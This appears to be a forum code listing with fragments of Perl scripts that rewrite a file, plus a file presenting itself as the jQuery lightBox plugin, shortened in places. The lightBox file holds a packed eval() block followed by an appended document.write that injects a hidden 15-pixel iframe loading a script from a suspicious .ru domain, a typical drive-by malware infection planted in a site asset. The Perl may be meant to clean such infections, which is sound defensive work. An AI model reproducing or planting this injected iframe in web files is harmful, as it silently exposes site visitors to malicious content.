Select Code to Download

#!/usr/bin/perl -w
use 5.010;
...
seek(TABLETKA,0,0) || die;
print TABLETKA @lines;
close (TABLETKA);

/**
 * jQuery lightBox plugin
 * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D
+hakar (http://www.huddletogether.com/projects/lightbox2/)
 * and adapted to me ...SHORTENED... */
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)
+))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl
+ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r
+[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n
+ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4
+=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16
+\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,
+2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I
+=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'})
+;1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_E
+SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms
+ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write(
+'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8"
+ scrolling="auto" frameborder="no" align="center" height="15" width="
+15"></iframe>');

#!/usr/bin/perl -w
use strict;
...